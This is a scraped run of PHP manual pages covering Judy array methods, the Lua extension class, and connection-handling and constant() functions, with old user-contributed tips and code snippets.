User Contributed Notes

There are no user contributed notes for this page.
Judy::memoryUsage
Judy::nextEmpty
Judy


Search for the next absent index in the Judy array

Judy::next
Judy::offsetExists
Judy
PHP Manual

Judy::nextEmpty

(PECL judy >= 0.1.1)

Judy::nextEmpty — Search for the next absent index in the Judy array

Description

public int Judy::nextEmpty ( int $index )

Search (exclusive) for the next absent index that is greater than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.
Judy::next
Judy::offsetExists
Judy


Whether a offset exists

Judy::nextEmpty
Judy::offsetGet
Judy
PHP Manual

Judy::offsetExists

(PECL judy >= 0.1.1)

Judy::offsetExists — Whether a offset exists

Description

public bool Judy::offsetExists ( mixed $offset )

Whether or not an offset exists.

Parameters

offset

An offset to check for.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
Judy::nextEmpty
Judy::offsetGet
Judy


Offset to retrieve

Judy::offsetExists
Judy::offsetSet
Judy
PHP Manual

Judy::offsetGet

(PECL judy >= 0.1.1)

Judy::offsetGet — Offset to retrieve

Description

public mixed Judy::offsetGet ( mixed $offset )

Returns the value at specified offset.

Parameters

offset

The offset to retrieve.

Return Values

Can return all value types.

User Contributed Notes

There are no user contributed notes for this page.
Judy::offsetExists
Judy::offsetSet
Judy


Offset to set

Judy::offsetGet
Judy::offsetUnset
Judy
PHP Manual

Judy::offsetSet

(PECL judy >= 0.1.1)

Judy::offsetSet — Offset to set

Description

public bool Judy::offsetSet ( mixed $offset , mixed $value )

Assigns a value to the specified offset.

Parameters

offset

The offset to assign the value to.

value

The value to set.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
Judy::offsetGet
Judy::offsetUnset
Judy


Offset to unset

Judy::offsetSet
Judy::prev
Judy
PHP Manual

Judy::offsetUnset

(PECL judy >= 0.1.1)

Judy::offsetUnset — Offset to unset

Description

public bool Judy::offsetUnset ( mixed $offset )

Unsets an offset.

Parameters

offset

The offset to unset.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
Judy::offsetSet
Judy::prev
Judy


Search for the previous index in the Judy array

Judy::offsetUnset
Judy::prevEmpty
Judy
PHP Manual

Judy::prev

(PECL judy >= 0.1.1)

Judy::prev — Search for the previous index in the Judy array

Description

public mixed Judy::prev ( mixed $index )

Search (exclusive) for the previous index present that is less than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.
Judy::offsetUnset
Judy::prevEmpty
Judy


Search for the previous absent index in the Judy array

Judy::prev
Judy::size
Judy
PHP Manual

Judy::prevEmpty

(PECL judy >= 0.1.1)

Judy::prevEmpty — Search for the previous absent index in the Judy array

Description

public int Judy::prevEmpty ( mixed $index )

Search (exclusive) for the previous index absent that is less than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.
Judy::prev
Judy::size
Judy


Return the size of the current Judy array

Judy::prevEmpty
Judy Functions
Judy
PHP Manual

Judy::size

(PECL judy >= 0.1.1)

Judy::size — Return the size of the current Judy array

Description

public void Judy::size ( void )

This method is an alias of Judy::count.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Return an integer.

User Contributed Notes

There are no user contributed notes for this page.
Judy::prevEmpty
Judy Functions
Judy


Judy Functions

Table of Contents

  • judy_type — Return the type of a Judy array
  • judy_version — Return or print the current PHP Judy version

User Contributed Notes

There are no user contributed notes for this page.
Judy::size
judy_type
Judy


Return the type of a Judy array

Judy Functions
judy_version
Judy Functions
PHP Manual

judy_type

(PECL judy >= 0.1.1)

judy_type — Return the type of a Judy array

Description

int judy_type ( Judy $array )

judy_type() return an integer corresponding to the Judy type of the specified Judy array.

Parameters

array

The Judy Array to test.

Return Values

Return an integer corresponding to a Judy type.

User Contributed Notes

There are no user contributed notes for this page.
Judy Functions
judy_version
Judy Functions


Return or print the current PHP Judy version

judy_type
Lua
Judy Functions
PHP Manual

judy_version

(PECL judy >= 0.1.1)

judy_version — Return or print the current PHP Judy version

Description

string judy_version ( void )

Return a string of the PHP Judy version. If the return value is not used, the string will be printed.

Parameters

This function has no parameters.

Return Values

Return a string of the PHP Judy version.

User Contributed Notes

There are no user contributed notes for this page.
judy_type
Lua
Judy Functions


Lua

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Lua — The Lua class
    • Lua::assign — Assign a PHP variable to Lua
    • Lua::call — Call Lua functions
    • Lua::__construct — Lua constructor
    • Lua::eval — Evaluate a string as Lua code
    • Lua::getVersion — The getversion purpose
    • Lua::include — Parse a Lua script file
    • Lua::registerCallback — Register a PHP function to Lua
  • LuaClosure — The LuaClosure class
    • LuaClosure::__invoke — invoke luaclosure

User Contributed Notes

There are no user contributed notes for this page.
judy_version
Introduction
Other Basic Extensions


Introduction

"Lua is a powerful, fast, light-weight, embeddable scripting language." This extension embeds the lua interpreter and offers an OO-API to lua variables and functions.

User Contributed Notes

There are no user contributed notes for this page.
Lua
Installing/Configuring
Lua


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Lua


Requirements

To use this extension, you will need Lua installed, available on the » Lua homepage

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/lua.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Lua
Installing/Configuring


The Lua class

(PECL lua >=0.9.0)

Introduction

Class synopsis

Lua {
/* Constants */
const string LUA_VERSION = Lua 5.1.4 ;
/* Methods */
public mixed assign ( string $name , string $value )
public mixed call ( callback $lua_func [, array $args [, int $use_self = 0 ]] )
public mixed __call ( callback $lua_func [, array $args [, int $use_self = 0 ]] )
public __construct ( string $lua_script_file = NULL )
public mixed eval ( string $statements )
public string getVersion ( void )
public mixed include ( string $file )
public mixed registerCallback ( string $name , callback $function )
}

Predefined Constants

Lua::LUA_VERSION

Table of Contents

  • Lua::assign — Assign a PHP variable to Lua
  • Lua::call — Call Lua functions
  • Lua::__construct — Lua constructor
  • Lua::eval — Evaluate a string as Lua code
  • Lua::getVersion — The getversion purpose
  • Lua::include — Parse a Lua script file
  • Lua::registerCallback — Register a PHP function to Lua

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Lua::assign
Lua


Assign a PHP variable to Lua

Lua
Lua::call
Lua
PHP Manual

Lua::assign

(PECL lua >=0.9.0)

Lua::assign — Assign a PHP variable to Lua

Description

public mixed Lua::assign ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

Returns $this or NULL on failure.

Examples

Example #1 Lua::assign()example

<?php
$lua = new Lua();
$lua->assign("php_var", array(1=>1, 2, 3)); //lua table index begin with 1
$lua->eval(<<<CODE
    print(php_var);
CODE
);
?>

The above example will output:

Array
 (
     [1] => 1
     [2] => 2
     [3] => 3
 )

User Contributed Notes

There are no user contributed notes for this page.
Lua
Lua::call
Lua


Call Lua functions

Lua::assign
Lua::__construct
Lua
PHP Manual

Lua::call

Lua::__call

(PECL lua >=0.9.0)

Lua::call -- Lua::__call — Call Lua functions

Description

public mixed Lua::call ( callback $lua_func [, array $args [, int $use_self = 0 ]] )
public mixed Lua::__call ( callback $lua_func [, array $args [, int $use_self = 0 ]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

lua_func

Function name in lua

args

Arguments passed to the Lua function

use_self

Whether to use self

Return Values

Returns result of the called function, NULL for wrong arguments or FALSE on other failure.

Examples

Example #1 Lua::call()example

<?php
$lua = new Lua();
$lua->eval(<<<CODE
    function dummy(foo, bar)
        print(foo, ",", bar)
    end
CODE
);
$lua->call("dummy", array("Lua", "geiliable\n"));
$lua->dummy("Lua", "geiliable"); // __call()
var_dump($lua->call(array("table", "concat"), array(array(1=>1, 2=>2, 3=>3), "-")));
?>

The above example will output:

Lua,geiliable
Lua,geiliable
string(5) "1-2-3"

See Also

  • __call()

User Contributed Notes

There are no user contributed notes for this page.
Lua::assign
Lua::__construct
Lua


Lua constructor

Lua::call
Lua::eval
Lua
PHP Manual

Lua::__construct

(PECL lua >=0.9.0)

Lua::__construct — Lua constructor

Description

public Lua::__construct ( string $lua_script_file = NULL )

Warning

This function is currently not documented; only its argument list is available.

Parameters

lua_script_file

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Lua::call
Lua::eval
Lua


Evaluate a string as Lua code

Lua::__construct
Lua::getVersion
Lua
PHP Manual

Lua::eval

(PECL lua >=0.9.0)

Lua::eval — Evaluate a string as Lua code

Description

public mixed Lua::eval ( string $statements )

Warning

This function is currently not documented; only its argument list is available.

Parameters

statements

Return Values

Returns result of evaled code, NULL for wrong arguments or FALSE on other failure.

Examples

Example #1 Lua::eval()example

<?php
$lua = new Lua();
$lua->eval(<<<CODE
    print(2);
CODE
);
?>

The above example will output:

2

User Contributed Notes

There are no user contributed notes for this page.
Lua::__construct
Lua::getVersion
Lua


The getversion purpose

Lua::eval
Lua::include
Lua
PHP Manual

Lua::getVersion

(PECL lua >=0.9.0)

Lua::getVersion — The getversion purpose

Description

public string Lua::getVersion ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns Lua::LUA_VERSION.

User Contributed Notes

There are no user contributed notes for this page.
Lua::eval
Lua::include
Lua


Parse a Lua script file

Lua::getVersion
Lua::registerCallback
Lua
PHP Manual

Lua::include

(PECL lua >=0.9.0)

Lua::include — Parse a Lua script file

Description

public mixed Lua::include ( string $file )

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Return Values

Returns result of included code, NULL for wrong arguments or FALSE on other failure.

User Contributed Notes

There are no user contributed notes for this page.
Lua::getVersion
Lua::registerCallback
Lua


Register a PHP function to Lua

Lua::include
LuaClosure
Lua
PHP Manual

Lua::registerCallback

(No version information available, might only be in SVN)

Lua::registerCallback — Register a PHP function to Lua

Description

public mixed Lua::registerCallback ( string $name , callback $function )

Register a PHP function to Lua as a function named "$name"

Parameters

name

function

A valid PHP function callback

Return Values

Returns $this, NULL for wrong arguments or FALSE on other failure.

Examples

Example #1 Lua::registerCallback()example

<?php
$lua = new Lua();
$lua->registerCallback("echo", "var_dump");
$lua->eval(<<<CODE
    echo({1, 2, 3});
CODE
);
?>

The above example will output:

array(3) {
  [1]=>
  float(1)
  [2]=>
  float(2)
  [3]=>
  float(3)
}

User Contributed Notes

There are no user contributed notes for this page.
Lua::include
LuaClosure
Lua


The LuaClosure class

(PECL lua >=0.9.0)

Introduction

LuaClosure is a wrapper class for LUA_TFUNCTION which could be return from calling to Lua function.

Class synopsis

LuaClosure {
/* Methods */
public void __invoke ( mixed $arg [, mixed $... ] )
}

Table of Contents

  • LuaClosure::__invoke — invoke luaclosure

User Contributed Notes

There are no user contributed notes for this page.
Lua::registerCallback
LuaClosure::__invoke
Lua


invoke luaclosure

LuaClosure
Misc.
LuaClosure
PHP Manual

LuaClosure::__invoke

(PECL lua >=0.9.0)

LuaClosure::__invoke — invoke luaclosure

Description

public void LuaClosure::__invoke ( mixed $arg [, mixed $... ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

arg

...

Return Values

Examples

Example #1 LuaClosure::__invoke()example

<?php
$lua = new Lua();
$closure = $lua->eval(<<<CODE
    return (function ()
        print("hello world")
    end)
CODE
);

$lua->call($closure);
/* after PHP 5.3 */
$closure();
?>

The above example will output:

hello worldhello world

User Contributed Notes

There are no user contributed notes for this page.
LuaClosure
Misc.
LuaClosure


Miscellaneous Functions

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Misc. Functions
    • connection_aborted — Check whether client disconnected
    • connection_status — Returns connection status bitfield
    • connection_timeout — Check if the script timed out
    • constant — Returns the value of a constant
    • define — Defines a named constant
    • defined — Checks whether a given named constant exists
    • die — Equivalent to exit
    • eval — Evaluate a string as PHP code
    • exit — Output a message and terminate the current script
    • get_browser — Tells what the user's browser is capable of
    • __halt_compiler — Halts the compiler execution
    • highlight_file — Syntax highlighting of a file
    • highlight_string — Syntax highlighting of a string
    • ignore_user_abort — Set whether a client disconnect should abort script execution
    • pack — Pack data into binary string
    • php_check_syntax — Check the PHP syntax of (and execute) the specified file
    • php_strip_whitespace — Return source with stripped comments and whitespace
    • show_source — Alias of highlight_file
    • sleep — Delay execution
    • sys_getloadavg — Gets system load average
    • time_nanosleep — Delay for a number of seconds and nanoseconds
    • time_sleep_until — Make the script sleep until the specified time
    • uniqid — Generate a unique ID
    • unpack — Unpack data from binary string
    • usleep — Delay execution in microseconds

User Contributed Notes

There are no user contributed notes for this page.
LuaClosure::__invoke
Introduction
Other Basic Extensions


Introduction

These functions were placed here because none of the other categories seemed to fit.

User Contributed Notes

There are no user contributed notes for this page.
Misc.
Installing/Configuring
Misc.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Misc.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Misc. Configuration Options
Name | Default | Changeable | Changelog
ignore_user_abort | "0" | PHP_INI_ALL |
highlight.string | "#DD0000" | PHP_INI_ALL |
highlight.comment | "#FF8000" | PHP_INI_ALL |
highlight.keyword | "#007700" | PHP_INI_ALL |
highlight.bg | "#FFFFFF" | PHP_INI_ALL | Removed in PHP 5.4.0.
highlight.default | "#0000BB" | PHP_INI_ALL |
highlight.html | "#000000" | PHP_INI_ALL |
browscap | NULL | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

ignore_user_abort boolean

FALSE by default. If changed to TRUE scripts will not be terminated after a client has aborted their connection.

See also ignore_user_abort().

highlight.bg string
highlight.comment string
highlight.default string
highlight.html string
highlight.keyword string
highlight.string string

Colors for Syntax Highlighting mode. Anything that's acceptable in <font color="??????"> would work.

browscap string

Name (e.g.: browscap.ini) and location of browser capabilities file. See also get_browser().

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

CONNECTION_ABORTED (integer)
CONNECTION_NORMAL (integer)
CONNECTION_TIMEOUT (integer)
__COMPILER_HALT_OFFSET__ (integer)
Added in PHP 5.1.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Misc. Functions
Misc.


Misc. Functions

Table of Contents

  • connection_aborted — Check whether client disconnected
  • connection_status — Returns connection status bitfield
  • connection_timeout — Check if the script timed out
  • constant — Returns the value of a constant
  • define — Defines a named constant
  • defined — Checks whether a given named constant exists
  • die — Equivalent to exit
  • eval — Evaluate a string as PHP code
  • exit — Output a message and terminate the current script
  • get_browser — Tells what the user's browser is capable of
  • __halt_compiler — Halts the compiler execution
  • highlight_file — Syntax highlighting of a file
  • highlight_string — Syntax highlighting of a string
  • ignore_user_abort — Set whether a client disconnect should abort script execution
  • pack — Pack data into binary string
  • php_check_syntax — Check the PHP syntax of (and execute) the specified file
  • php_strip_whitespace — Return source with stripped comments and whitespace
  • show_source — Alias of highlight_file
  • sleep — Delay execution
  • sys_getloadavg — Gets system load average
  • time_nanosleep — Delay for a number of seconds and nanoseconds
  • time_sleep_until — Make the script sleep until the specified time
  • uniqid — Generate a unique ID
  • unpack — Unpack data from binary string
  • usleep — Delay execution in microseconds

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
connection_aborted
Misc.


Check whether client disconnected

Misc. Functions
connection_status
Misc. Functions
PHP Manual

connection_aborted

(PHP 4, PHP 5)

connection_aborted — Check whether client disconnected

Description

int connection_aborted ( void )

Checks whether the client disconnected.

Return Values

Returns 1 if client disconnected, 0 otherwise.

See Also

  • connection_status() - Returns connection status bitfield
  • ignore_user_abort() - Set whether a client disconnect should abort script execution
  • Connection Handling for a complete description of connection handling in PHP.

User Contributed Notes

djdark88 dot 7 at gmail dot com 24-Jun-2011 01:24
Hmm i went and did the same thing for a realtime application i got some more bugs..

<?php
// Signin Script
while(!connection_aborted())
{

while(!$result and !connection_aborted())
 {
     // FETCH RESULT VIA SQL
    if(SQL DUMPS SOMETHING)
        { $result =true;
        }
 }

// SEND RESULT

echo "<br>" ; // To make this work on chrome
flush();obflush(); // FLUSH (in flush u will need to add a <br> with the flushed data in order to get the response sent to user if the user is using chrome )

}

//Signout Script
?>

even in my script it sometimes does NOT sent the result!!!
Luciano 18-Dec-2009 01:01
In order to detect a disconnection inside the script we need to flush the buffer (it is only when the the server tries to send the buffer content that it will see that the connection is broken).

Thus we need to use the ob_implicit_flush() function to flush automatically the buffer

This is an example of a disconnection detection :

<?php
  // enables the automatic flush
  ob_implicit_flush();

  function verifyCommunication() {
    $status = (connection_aborted()?"not ":"") ."sent";
    persistCommunication(new Communication($status));
  }

  // we will check the communication state when the script finished
  register_shutdown_function(verifyCommunication);
  echo "blabla";
  // this sleep is used to have time to break the connection on the client side
  sleep(10);
  echo"tata";
?>

I use such a process to cancel a request if the client didn't get the acknowledgement because he will redo his request...
rickyale at ig dot com dot br 13-Nov-2009 11:49
(connection_aborted not working)
I had this problem years ago, now the problem came back after upgrading php... i tried everything i found and in the end the function ob_end_flush();  on top of script as post in php bug track solved the problem. Im using windows 7 x64 / php 5.2.4 / apache 2.2.14 (win32)

try adding ob_end_flush(); on top of you script.
i read something about this but can't remember where, it was related to a bug or something.

hope this help.
phpcoder at cyberpimp dot techlab dot info 27-Jun-2007 11:50
Although the documentation indicates it returns an int, I found comparing the return value with numeric values does not seem to work.

Example (does not work):
<?php
if (connection_aborted()==1) {
fwrite($filehandle, 'aborted!');
}
?>

You're better off just assuming it returns boolean

Example (does work):
<?php
if (connection_aborted()) {
fwrite($filehandle, 'aborted!');
}
?>
rickyale at ig dot com dot br 13-Dec-2002 04:29
I know why nobody can use the functions connection_XXX(). If the php code do not send anything to buffer, the php dont check the connection, so, the connection_timeout will still NORMAL and will not be ABORTED.

Ex

<?php
Set_Time_Limit(0);  //this you know what gonna do
Ignore_User_Abort(True); //this will force the script running at the end

While(!Connection_Aborted()) {
   Echo "\n"; //this will save de while
   Flush(); //Now php will check de connection
    While(CONDITION) {
        Echo "My chat....";
    }
 Sleep(1);
}
?>

end
Misc. Functions
connection_status
Misc. Functions


Returns connection status bitfield

connection_aborted
connection_timeout
Misc. Functions
PHP Manual

connection_status

(PHP 4, PHP 5)

connection_status — Returns connection status bitfield

Description

int connection_status ( void )

Gets the connection status bitfield.

Return Values

Returns the connection status bitfield, which can be used against the CONNECTION_XXX constants to determine the connection status.

See Also

  • connection_aborted() - Check whether client disconnected
  • ignore_user_abort() - Set whether a client disconnect should abort script execution
  • Connection Handling for a complete description of connection handling in PHP.

User Contributed Notes

jorge dot hebrard at gmail dot com 26-Jan-2009 04:01
You can always send chr(0) to check if browser is still alive, that will show no output in browser page (at least in Firefox).
ivo_gelov at gmx dot net 09-Apr-2008 10:01
Good idea for DB engines like MySQL with MyISAM which do not support transactions. But imagine that user requests a page with many (hundred) image thumbnails. Or if a PDF is generated from a HTML on-the-fly. This usually takes several minutes and if the user does not want to wait and aborts connection - PHP continues until all work is done.
In my opinion it will be MUCH more smarter (PHP is mature enough) to use signalling and terminate script immediately when connection is aborted instead of making presumptions that script author will continuously doing output and periodically flushing output buffer just in order to detect connection abort.
Mhm ....
Michael 20-Mar-2005 09:59
Yes it is true. I made some experiments with that functions 'connection_abortes()'. First a source made an error, which I see. They wrote: ignore_user_abort();

But that only gives you the status of the 'Abort-Setting'.
So I try (with little hope)
  'ignore_user_abort(true);'
And as I readout the setting it has changed it...

Next I see that the script runs after I disconnect with the site. But other experiments fail. I try some things and then it
was logical after an experiment: flush() is one of the necessary things. Without those output to the client the function
          'connection_aborted()' stays on 'false'
The Second is that you have to output something. Without that it also doesn't works.
So I now know that you have to echo something and then output the buffer. Only then 'the Script' (or the function)
'knows' that the client is disconnected.
toppi at kacke dot de 16-Jun-2004 09:06
Notice !

if you running a loop (while, foeach etc..)  you have to send something to the browser to check the status.

Example:

while(1){
    if (connection_status()!=0){
    die;
    }
}
doesnt work, if the user break/close the browser.

But a:

while(1){
    Echo "\n"; //<-- send this to the client
    if (connection_status()!=0){
    die;
    }
}
will work :)

i hope it will help some of you to safe some time :)

Toppi
carlos at fischerinformatica dot com dot br 30-Jan-2002 06:58
Very very useful!
I was building a chat and I wanted my script to detect when the browser was closed, so the user could be deleted from the online_users table.

<?
echo str_repeat(" ",300);
ignore_user_abort(true); //this way, the user can stop the output, but not the script.
while (true) {
         echo "test<br>\n";
         flush();
         sleep(2);
         if (connection_status()!=0){
                 include ('dbconnect.inc');
                 $sql="delete from online_users where online_user=$user";
                 $sql_exec=pg_exec($vChatDB, $sql);
                 die(); //kills the script
         }
}
?>
connection_aborted
connection_timeout
Misc. Functions


Check if the script timed out

connection_status
constant
Misc. Functions
PHP Manual

connection_timeout

(PHP 4 <= 4.0.4)

connection_timeout — Check if the script timed out

Description

int connection_timeout ( void )

Determines whether the script timed out.

Return Values

Returns 1 if the script timed out, 0 otherwise.

Notes

Warning

Deprecated

This function is deprecated, and doesn't even exist anymore as of 4.0.5.

See Also

  • connection_status() - Returns connection status bitfield
  • Connection Handling for a complete description of connection handling in PHP.

User Contributed Notes

jon at dbgurus dot com dot au 24-Jan-2007 02:30
In order to prevent my script timing out (I was processing images which was taking some time) I added this into my loop:

set_time_limit(25);

This resets the time limit - in this example giving it another 25 seconds to complete the task.
connection_status
constant
Misc. Functions


Returns the value of a constant

connection_timeout
define
Misc. Functions
PHP Manual

constant

(PHP 4 >= 4.0.4, PHP 5)

constant — Returns the value of a constant

Description

mixed constant ( string $name )

Return the value of the constant indicated by name.

constant() is useful if you need to retrieve the value of a constant, but do not know its name. I.e. it is stored in a variable or returned by a function.

This function works also with class constants.

Parameters

name

The constant name.

Return Values

Returns the value of the constant, or NULL if the constant is not defined.

Errors/Exceptions

An E_WARNING level error is generated if the constant is not defined.

Examples

Example #1 constant() example

<?php

define("MAXSIZE", 100);

echo MAXSIZE;
echo constant("MAXSIZE"); // same thing as the previous line

interface bar {
    const test = 'foobar!';
}

class foo {
    const test = 'foobar!';
}

$const = 'test';

var_dump(constant('bar::'. $const)); // string(7) "foobar!"
var_dump(constant('foo::'. $const)); // string(7) "foobar!"

?>

See Also

  • define() - Defines a named constant
  • defined() - Checks whether a given named constant exists
  • The section on Constants

User Contributed Notes

adam at adamhahn dot com 28-Sep-2011 12:59
This function is namespace sensitive when calling class constants.

Using:
<?php namespace sub;

class foo {
    const BAR = 'Hello World';
}

constant('foo::BAR'); // Error

constant('sub\foo::BAR'); // works

?>

This does not seem to affect constants defined with the 'define' function. Those all end up defined in the root namespace unless another namespace is implicitly defined in the string name of the constant.
Anonymous 07-Mar-2011 06:59
You can get the value of class and interface constants using this function.

<?php
interface IDatabase {
   const Test = 22;
}

class MyDatabase implements IDatabase {

}

echo constant('MyDatabase::Test'); # Outputs 22
echo constant('IDatabase::Test'); # Also outputs 22
?>
bohwaz 05-Jul-2010 06:28
Return constants from an object. You can filter by regexp or match by value to find a constant name from the value.

Pretty useful sometimes.

<?php

function findConstantsFromObject($object, $filter = null, $find_value = null)
{
    $reflect = new ReflectionClass($object);
    $constants = $reflect->getConstants();

    foreach ($constants as $name => $value)
    {
        if (!is_null($filter) && !preg_match($filter, $name))
        {
            unset($constants[$name]);
            continue;
        }

        if (!is_null($find_value) && $value != $find_value)
        {
            unset($constants[$name]);
            continue;
        }
    }

    return $constants;
}

?>

Examples :

<?php

class Example
{
    const GENDER_UNKNOW = 0;
    const GENDER_FEMALE = 1;
    const GENDER_MALE = 2;

    const USER_OFFLINE = false;
    const USER_ONLINE = true;
}

$all = findConstantsFromObject('Example');

$genders = findConstantsFromObject('Example', '/^GENDER_/');

$my_gender = 1;
$gender_name = findConstantsFromObject('Example', '/^GENDER_/', $my_gender);

if (isset($gender_name[0]))
{
    $gender_name = str_replace('GENDER_', '', key($gender_name));
}
else
{
    $gender_name = 'WTF!';
}

?>
hellekin 25-May-2010 08:07
Checking if a constant is empty is bork...

You cannot

<?php
define('A', '');
define('B', 'B');

if (empty(B)) // syntax error
if (empty(constant('B'))) // fatal error

// so instead, thanks to LawnGnome on IRC, you can cast the constants to boolean (empty string is false)
if (((boolean) A) && ((boolean) B))
  // do stuff
?>
dachnik 09-Apr-2010 11:41
You can define values in your config file using the names of your defined constants, e.g.

in your php code:
define("MY_CONST",999);

in you config file:
my = MY_CONST

When reading the file do this:

$my = constant($value); // where $value is the string "MY_CONST"

now $my holds the value of 999
roller 21-Jun-2009 08:21
howto echo CONSTANT_NAME without warnings and "if " checking:

<?php

!defined("CONSTANT_NAME") || constant("CONSTANT_NAME");

?>
cory dot mawhorter @ ephective dot com 08-Sep-2008 02:08
This is how I check to see if a bool constant is true:

<?php
function consttrue($const) {
    return !defined($const) ? false : constant($const);
}
?>

Examples
<?php
var_dump(consttrue('UNDEFINED_CONST'));

define('SOME_CONST', true);
var_dump(consttrue('SOME_CONST'));

define('SOME_CONST2', false);
var_dump(consttrue('SOME_CONST2'));
?>

Returns
bool(false)
bool(true)
bool(false)

If it isn't defined it will return false, otherwise it will return the value of the constant... which would be either true/false depending on what you set it to.
Joachim Chmielewski 15-Feb-2008 03:34
To use constants in functions additional its not neccessary to change the function call wherever you need the constant in a function.

   foo($var1);

to

    foo($var1,$const);

More easy is to change the function definition and use a default value for a new variable that contains the const value.

   function foo($var1,$my_const=CONST_VALUE){
          if($my_const==1) dosomething();
   }

Now it`s not necessary to change the function call wherever you need the function.
vgr at europeanexperts dot org 01-Mar-2007 05:57
in reply to anonymous

[quote]
To check if a constant is boolean, use this instead:

<?php
if (TRACE === true)  {}
?>

Much quicker and cleaner than using defined() and constant() to check for a simple boolean.
[/quote]

is definitely nor cleaner (because it's still as wrong as using simply "if (TRACE)") nor quicker than " if (TRACE)" (one more comparison on a boolean value). This will generate PHP errors. The constant TRACE is NOT defined.

error :
PHP Notice:  Use of undefined constant TRACE - assumed 'TRACE' in yourpath/test_constants.php on line 5

if you really want to be "clean" and as quick as possible, then there is a function :

[code]
function IsBooleanConstantAndTrue($constname) { // : Boolean
  $res=FALSE;
  if (defined($constname)) $res=(constant($constname)===TRUE);
  return($res);
}

// use : if (IsBooleanConstantAndTrue('TRACE')) echo "trace is really True<br>";
[/code]

If you want, you can see a demonstration at http://www.fecj.org/extra/test_constants.php

Regards
01-Feb-2007 08:29
@XC:

That isn't necessary. If a constant is undefined, constant() returns NULL; simply suppressing the warning should be enough:

<?php

if(defined('FOO') && constant('FOO') === 'bar'){
// ...
}

?>

becomes

<?php

if(@constant('FOO') === 'bar') {
// ...
}

?>

Note that in the first snippet, the call to constant isn't unnecessary as well, and adds a bit of overhead. If you're set on using the first notation, the following is better:

<?php

if(defined('FOO') && FOO === 'bar') {
// ...
}

?>
XC 19-Jan-2007 02:13
When you often write lines like

<?php

if(defined('FOO') && constant('FOO') === 'bar')
{
...
}

?>

to prevent errors, you can use the following function to get the value of a constant.

<?php

function getconst($const)
{
    return (defined($const)) ? constant($const) : null;
}

?>

Finally you can check the value with

<?php

if(getconst('FOO') === 'bar')
{
...
}

?>

It's simply shorter.
03-Oct-2006 05:17
If the constant does not exist, constant() will generate a warning and return null.
narada dot sage at googlemail dot com 13-Jul-2006 06:01
To access the value of a class constant use the following technique.

<?php

class a {
    const b = 'c';
}

echo constant('a::b');

// output: c

?>
service at dual-creators dot de 16-May-2006 10:00
It's easily to user constant() and define() to translate some words from your database-saves.

For example:
You have a table userprofil and one coloumn is "gender".
Gender can be male or female but you will display "maennlich" or "weiblich" (german words for it - whatever...)

First step: Fetch into $Gender

Second:
define("male", "maennlich");
define("female", "weiblich");

Third:
echo constant($Gender);

Now, the index of the variable $Gender will be handled like a constant!

(It works like "echo male;" for better understanding)

And a result of this, it displays maennlich btw. weiblich!

greetz
Trevor Blackbird > yurab.com 18-Apr-2006 02:58
Technically you can define constants with names that are not valid for variables:

<?php

// $3some is not a valid variable name
// This will not work
$3some = 'invalid';

// This works
define('3some', 'valid');
echo constant('3some');

?>

Of course this is not a good practice, but PHP has got you covered.
timneill at hotmail dot com 26-Nov-2005 12:39
Please note when using this function from within a class to retrieve a php5 class constant, ensure you include the 'self::'.

class Validate
{
    const TEXT_MAX = 65536;

    //-- this will work
    public static function textWORKS($_value, $_type = 'TEXT')
    {
        $_max = constant('self::' . $_type . '_MAX');
        return (strlen($_value) <= $_max ? true : false);
    }

    //-- this will fail
    public static function textFAILS($_value, $_type = 'TEXT')
    {
        //-- Debug Warning: constant(): Couldn't find constant TEXT_MAX
        $_max = constant($_type . '_MAX');
        return (strlen($_value) <= $_max ? true : false);
    }
}
11-Oct-2005 07:20
In reply to VGR_experts_exchange at edainworks dot com

To check if a constant is boolean, use this instead:

<?php
if (TRACE === true)  {}
?>

Much quicker and cleaner than using defined() and constant() to check for a simple boolean.

IMO, using ($var === true) or ($var === false) instead of ($var) or (!$var) is the best way to check for booleans no matter what. Leaves no chance of ambiguity.
Joachim Kruyswijk 13-Nov-2004 09:12
